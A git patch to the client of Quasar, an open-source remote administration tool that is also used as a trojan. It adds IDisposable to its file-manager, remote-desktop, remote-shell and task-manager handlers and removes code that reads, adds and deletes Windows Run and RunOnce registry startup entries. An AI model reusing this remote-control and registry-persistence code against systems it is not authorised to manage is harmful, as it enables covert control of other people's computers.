From 5820dfa6b341086ef29afc695293d2cbbf5ccc8e Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 11:30:29 +0200 Subject: [PATCH] Add missing IDisposable interface to client message processors --- Quasar.Client/Messages/FileManagerHandler.cs | 2 +- .../Messages/RemoteDesktopHandler.cs | 2 +- Quasar.Client/Messages/RemoteShellHandler.cs | 2 +- .../Messages/StartupManagerHandler.cs | 69 ------------------- Quasar.Client/Messages/TaskManagerHandler.cs | 2 +- 5 files changed, 4 insertions(+), 73 deletions(-) diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs index bb337f14..d8c9e23c 100644 --- a/Quasar.Client/Messages/FileManagerHandler.cs +++ b/Quasar.Client/Messages/FileManagerHandler.cs @@ -16,7 +16,7 @@ namespace Quasar.Client.Messages { - public class FileManagerHandler : IMessageProcessor + public class FileManagerHandler : IMessageProcessor, IDisposable { private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads diff --git a/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar.Client/Messages/RemoteDesktopHandler.cs index de55fee4..25cf2286 100644 --- a/Quasar.Client/Messages/RemoteDesktopHandler.cs +++ b/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -12,7 +12,7 @@ namespace Quasar.Client.Messages { - public class RemoteDesktopHandler : IMessageProcessor + public class RemoteDesktopHandler : IMessageProcessor, IDisposable { private UnsafeStreamCodec _streamCodec; diff --git a/Quasar.Client/Messages/RemoteShellHandler.cs b/Quasar.Client/Messages/RemoteShellHandler.cs index 2bc692b1..c10cf98f 100644 --- a/Quasar.Client/Messages/RemoteShellHandler.cs +++ b/Quasar.Client/Messages/RemoteShellHandler.cs @@ -9,7 +9,7 @@ namespace Quasar.Client.Messages /// /// Handles messages for the interaction with the remote shell. /// - public class RemoteShellHandler : IMessageProcessor + public class RemoteShellHandler : IMessageProcessor, IDisposable { /// /// The current remote shell instance. diff --git a/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar.Client/Messages/StartupManagerHandler.cs index 50b6f32a..2fb8d267 100644 --- a/Quasar.Client/Messages/StartupManagerHandler.cs +++ b/Quasar.Client/Messages/StartupManagerHandler.cs @@ -86,35 +86,6 @@ private void Execute(ISender client, GetStartupItems message) } } } - if (PlatformHelper.Is64Bit) - { - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Common.Models.StartupItem - { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64Run }); - } - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Common.Models.StartupItem - { - Name = item.Item1, - Path = item.Item2, - Type = StartupType.LocalMachineWoW64RunOnce - }); - } - } - } - } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); @@ -165,26 +136,6 @@ private void Execute(ISender client, DoStartupItemAdd message) throw new Exception("Could not add value"); } break; - case StartupType.LocalMachineWoW64Run: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case StartupType.LocalMachineWoW64RunOnce: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; case StartupType.StartMenu: if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { @@ -245,26 +196,6 @@ private void Execute(ISender client, DoStartupItemRemove message) throw new Exception("Could not remove value"); } break; - case StartupType.LocalMachineWoW64Run: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case StartupType.LocalMachineWoW64RunOnce: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; case StartupType.StartMenu: string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name); diff --git a/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar.Client/Messages/TaskManagerHandler.cs index 3fa0b78c..8909037f 100644 --- a/Quasar.Client/Messages/TaskManagerHandler.cs +++ b/Quasar.Client/Messages/TaskManagerHandler.cs @@ -16,7 +16,7 @@ namespace Quasar.Client.Messages /// /// Handles messages for the interaction with tasks. /// - public class TaskManagerHandler : IMessageProcessor + public class TaskManagerHandler : IMessageProcessor, IDisposable { private readonly QuasarClient _client;